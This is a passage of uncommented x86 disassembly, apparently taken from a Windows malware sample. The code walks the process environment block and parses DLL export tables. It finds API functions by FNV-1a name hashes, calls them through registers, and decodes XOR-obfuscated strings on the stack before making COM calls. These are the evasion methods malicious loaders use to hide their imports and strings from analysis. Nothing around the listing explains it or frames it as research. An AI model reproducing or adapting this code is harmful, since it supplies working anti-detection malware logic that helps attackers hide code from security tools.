je 0x41a2a3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a260
mov eax, dword [eax]
jmp 0x41a237
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x16c]
cmp ecx, 0x10
jb 0x41a30c
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a302
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa5b
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x5458e0]
xor ecx, ecx
movups xmmword [ebp - 0x2ce], xmm0
mov dword [ebp - 0x2be], 0x93948897
movaps xmm0, xmmword [0x542e10]
movups xmmword [ebp - 0x2ba], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2ce], al
inc ecx
cmp ecx, 0x1b
jb 0x41a334
mov dword [0x5585c8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2ce]
mov byte [ebp - 0x2b3], 0
movups xmmword [ebp - 0x198], xmm0
mov dword [ebp - 0x188], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x184], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a378
sub ecx, edx
lea eax, [ebp - 0x2ce]
push ecx
push eax
lea ecx, [ebp - 0x198]
call fcn.00402b20
mov byte [ebp - 4], 8
lea eax, [ebp - 0x198]
cmp dword [ebp - 0x184], 0x10
cmovae eax, dword [ebp - 0x198]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a427
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a427
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a41d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a400
cmp esi, 0xda5113dc
je 0x41a42b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a3e5
mov eax, dword [eax]
jmp 0x41a3c0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x184]
cmp ecx, 0x10
jb 0x41a494
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a48a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa60
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545d90]
xor ecx, ecx
movups xmmword [ebp - 0x358], xmm0
mov word [ebp - 0x348], 0x9294
movaps xmm0, xmmword [0x542e90]
movups xmmword [ebp - 0x346], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x358], al
inc ecx
cmp ecx, 0x19
jb 0x41a4c0
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x358]
mov byte [ebp - 0x33f], 0
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x19c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a504
sub ecx, edx
lea eax, [ebp - 0x358]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00402b20
mov byte [ebp - 4], 9
lea eax, [ebp - 0x1b0]
cmp dword [ebp - 0x19c], 0x10
cmovae eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a5af
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a5af
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a5a5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a588
cmp esi, 0xda5113dc
je 0x41a5b3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a570
mov eax, dword [eax]
jmp 0x41a547
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0x10
jb 0x41a61c
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a612
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa65
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545b00]
xor ecx, ecx
movups xmmword [ebp - 0xa8], xmm0
mov dword [ebp - 0x98], 0x91948898
xorps xmm0, xmm0
mov byte [ebp - 0x94], 0x91
movq qword [ebp - 0x93], xmm0
mov byte [ebp - 0x8b], 0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xa8], al
inc ecx
cmp ecx, 0x15
jb 0x41a650
mov dword [0x55855c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 0x93], 0
movups xmmword [ebp - 0x1c8], xmm0
mov dword [ebp - 0x1b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1b4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a694
sub ecx, edx
lea eax, [ebp - 0xa8]
push ecx
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00402b20
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x1c8]
cmp dword [ebp - 0x1b4], 0x10
cmovae eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a73f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a73f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a735
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a718
cmp esi, 0xda5113dc
je 0x41a743
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a700
mov eax, dword [eax]
jmp 0x41a6d7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x41a7ac
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a7a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa6a
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545d60]
xor ecx, ecx
movups xmmword [ebp - 0x2f2], xmm0
mov dword [ebp - 0x2e2], 0x98948894
movaps xmm0, xmmword [0x542f80]
movups xmmword [ebp - 0x2de], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2f2], al
inc ecx
cmp ecx, 0x1b
jb 0x41a7d4
mov dword [0x5585c8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2f2]
mov byte [ebp - 0x2d7], 0
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1d0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1cc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a818
sub ecx, edx
lea eax, [ebp - 0x2f2]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00402b20
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a8c7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a8c7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a8bd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a8a0
cmp esi, 0xda5113dc
je 0x41a8cb
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a885
mov eax, dword [eax]
jmp 0x41a860
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x41a934
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a92a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa6f
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a9a7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a9a7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a99d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a980
cmp esi, 0x1242154a
je 0x41a9ab
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a965
mov eax, dword [eax]
jmp 0x41a940
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x34]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x64]
push 0x53e5e4
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x41a9f7
mov dword [ebp - 0x2c], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xd
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x41aa11
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
int3